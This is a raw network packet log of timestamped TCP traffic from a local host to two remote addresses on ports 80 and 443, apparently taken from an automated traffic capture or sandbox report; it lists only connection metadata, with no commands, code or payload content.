                                                                                                                      Nov 23, 2024 21:09:27.964056015 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.964689016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.964729071 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.964767933 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.965584993 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.965667009 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.965713024 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.966428995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.966459990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.966497898 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.967278004 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.967411995 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.967463970 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.968265057 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.968338966 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.968377113 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.969011068 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.969077110 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.969111919 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.969902992 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.969947100 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.969986916 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.989793062 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.989873886 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.989911079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.990117073 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.990236044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.990276098 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.991007090 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.991106987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.991139889 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.991856098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.991961002 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.991988897 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.992783070 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.992961884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.992995024 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.993622065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.993720055 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.993756056 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.994455099 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.994612932 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.994648933 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.995328903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.995441914 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.995476007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.996208906 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.996350050 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.996382952 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.997072935 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.997209072 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.997246981 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.997942924 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.998048067 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.998080969 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.998802900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.998981953 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.999022007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:27.999666929 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.999919891 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:27.999963045 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.000621080 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.000653982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.000691891 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.001409054 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.001509905 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.001545906 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.002266884 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.002372980 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.002409935 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.003160954 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.003233910 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.003268003 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.004017115 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.004167080 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.004204988 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.004864931 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.004961967 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.004996061 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.005738974 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.005827904 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.005867958 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.006608009 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.006715059 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.006748915 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.007477999 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.007567883 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.007606983 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.008343935 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.008441925 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.008474112 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.009186983 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.059124947 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.146493912 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.146517038 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.146764994 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.146862030 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.146953106 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.147011042 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.147764921 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.147856951 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.147910118 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.148622990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.148739100 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.148794889 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.149486065 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.149646044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.149699926 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.150352955 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.150466919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.150516987 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.151194096 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.151305914 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.151361942 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.152030945 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.152137041 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.152183056 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.152975082 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.153070927 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.153117895 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.153805971 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.153914928 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.153959990 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.154649973 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.154772997 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.154818058 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.155528069 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.155611992 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.155658007 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.156392097 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.156646013 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.156701088 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.157293081 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.157418013 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.157466888 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.158121109 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.158262014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.158309937 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.158993006 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.159099102 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.159140110 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.159874916 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.159950972 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.159993887 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.160708904 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.160835028 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.160881042 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.161576033 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.161695957 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.161741018 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.162471056 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.162508011 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.162545919 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.163346052 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.163443089 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.163486958 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.164215088 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.164308071 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.164355993 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.165092945 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.165203094 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.165246010 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.165931940 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.166073084 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.166115046 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.166801929 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.166924000 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.166969061 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.167663097 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.167771101 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.167807102 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.168536901 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.168658018 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.168697119 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.169393063 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.169462919 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.169498920 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.170262098 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.170375109 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.170419931 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.171128988 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.171237946 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.171279907 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.190927982 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.190984011 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.191042900 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.191365004 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.191526890 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.191612005 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.191694021 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.192389011 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.192439079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.192498922 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.193245888 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.193298101 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.193335056 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.194125891 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.194202900 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.194293022 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.194996119 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.195010900 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.195044041 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.195859909 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.195908070 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.195966005 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.196727991 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.196775913 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.196806908 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.197588921 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.197638988 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.197659016 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.198554039 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.198600054 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.198673964 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.199333906 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.199382067 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.199429989 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.200193882 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.200236082 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.200294971 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.201016903 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.201064110 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.201143980 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.201904058 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.201946974 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.202003956 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.202774048 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.202811003 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.202898026 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.203732014 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.203775883 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.203850985 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.204567909 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.204617977 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.204694986 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.205385923 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.205435991 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.205476999 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.206253052 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.206295967 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.206365108 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.207139969 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.207180977 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.207250118 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.208105087 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.208147049 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.208219051 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.209270954 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.209311008 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.209391117 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.210067987 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.210107088 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.210139990 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.210587025 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.210627079 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.347805023 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.347835064 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.347913980 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.348242044 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.348329067 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.348372936 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.399513006 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.519593954 CET804972679.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.519681931 CET4972680192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:28.670660019 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:28.670698881 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:28.670779943 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:28.680877924 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:28.680891037 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.014271975 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.014594078 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.017842054 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.017857075 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.018116951 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.024167061 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.067326069 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.545635939 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.545943975 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.546030998 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.546091080 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.546111107 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.546175957 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.546175957 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.546190023 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.546819925 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.565525055 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.571119070 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.571178913 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.571183920 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.571208954 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.571332932 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.579742908 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.621992111 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.666457891 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.715476036 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.715491056 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.738089085 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.738189936 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.738209009 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.742006063 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.742084026 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.742094994 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.757508039 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.757545948 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.757608891 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.757621050 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.757679939 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.765285969 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.773125887 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.773168087 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.773191929 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.773211002 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.773356915 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.780798912 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.824811935 CET49745443192.168.2.7185.199.109.133
                                                                                                                      Nov 23, 2024 21:09:30.828372955 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.828383923 CET44349745185.199.109.133192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:30.828421116 CET44349745185.199.109.133192.168.2.7
